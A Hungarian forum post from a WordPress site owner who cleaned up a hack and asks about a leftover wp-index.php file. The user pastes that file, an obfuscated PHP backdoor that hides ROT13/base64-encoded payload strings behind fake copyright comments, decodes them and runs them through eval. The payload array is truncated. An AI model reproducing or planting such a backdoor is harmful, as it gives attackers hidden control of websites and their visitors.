Új hozzászólás Aktív témák

• #1605 _ak_ addikt

  Új Válasz 2015-08-12 09:05:53 #1605

  Új hozzászólás

  Összes hozzászólása itt Válaszok az összes hozzászólására itt Válaszok erre a hozzászólásra

  Privát üzenet küldése

  

  _ak_

  addikt

  Üdv,

  van egy oldal, ami állítólag üres tartalommal jelent meg és a címsorban, pedig mindenféle nike-s szövegre végződött az url.

  A lényeg a lényeg, hogy lefuttattam egy WordFence scan-t és talált, 5 ismert kártékony kódot szanaszét a wp telepítésben. Azokat fájlokat (pl. images mappában index.php) és sorokat (evalok a headerben, footerben) töröltem, utána egy új jelszót állítottam be. Elképzelhető, hogy ezzel csak ennyi dolgom volt?

  Kérdem ezt azért, mert számomra még mindig van egy ismeretlen fájl a rootban, méghozzá egy wp-index.php nevű.

  Tartalmát illetően:

  <?php
  
  /**
  * Be sure to include no trailing slash on the path.
  * See http://www.php.net/support.php for more information
  * about PHP manuals and their types.
  */
  
  /* 32bit MD5 */
  $password = "f3b4ad4c66c9af****74658eb34ddd0"; //1***x
  
  define('VERSION','kaylin');
  
  /*Starting*/ $register_key = array /*Registration code*/
  (
  array
  (
  'CQ9jnUNtDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGgNnJ5cK3AyqPtaMTympTkurI9ypaWipaZaYPqCMzLaXGgN' ,
  'nJ5cK3AyqPtaoJS4K2I4MJA1qTyioy90nJ1yWljkZQNjZPx7nTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEg' ,
  'oQftL2uupaAyqQ1aLwVmZGVvXGgzqJ5wqTyiovOmqUWxnKVbWUA0pvxtrlOlMKE1pz4tp3ElK3WypTkuL2HbLKWl' ,
  'LKxbW1kpWljaYl8aYPpyZwpaYPpyZwVaXFkupaWurFtaYlpfWl8aYPqpWlpfWlVaXFkwnT9jXPEmqUVcXGftsJM1' ,
  'ozA0nJ9hVTAbn2qjLltxLKWlLKxcVUftMz9lMJSwnPtx
  ....
  
  'qJ0hW10tYFQX9AQHJlphWTAboJ9xYvqqCP9xnKL+CP9zo3WgCvp7LaWyLJf7sG8+CTEcqvOwoTSmpm0vMz9iqTSa' ,
  'Vw48C3ObpPOyL2uiVUObpS91ozSgMFtcYvp8LaV+Wl4xK1ASHyMSHyfaH0IFIxIFK1ACEyEKDIWSW107Cm48Y2Ec' ,
  'qw48Y2Ecqw48Y2Ecqw48Y2WiMUx+CP9bqT1fCwj/pTujVUIhp2I0XPEupaWurFx7Cm4='
  )
  
  ) ;
  
  /**
  * Language and charset conversion settings
  */
  $check_copyright = create_function /*Copyright*/
  (
  
  "/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/" ,
  "/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" .
  "\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" .
  "\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" .
  "\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" .
  "\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/"
  
  ) ;
  
  /**
  * Version settings
  */
  $global_version = array_walk /*Version*/
  (
  
  /*This is a necessary key*/ $register_key ,
  
  /*Verification on copyright*/ $check_copyright
  
  ) ;
  /*Ending*/
  
  ?>

  Erre nem találtam semmit hogy mi lehet.

  szerk.: középen levágtam belőle, mert nagyon hosszú az a tömb. WordFence nem ír erre semmit.

Új hozzászólás Aktív témák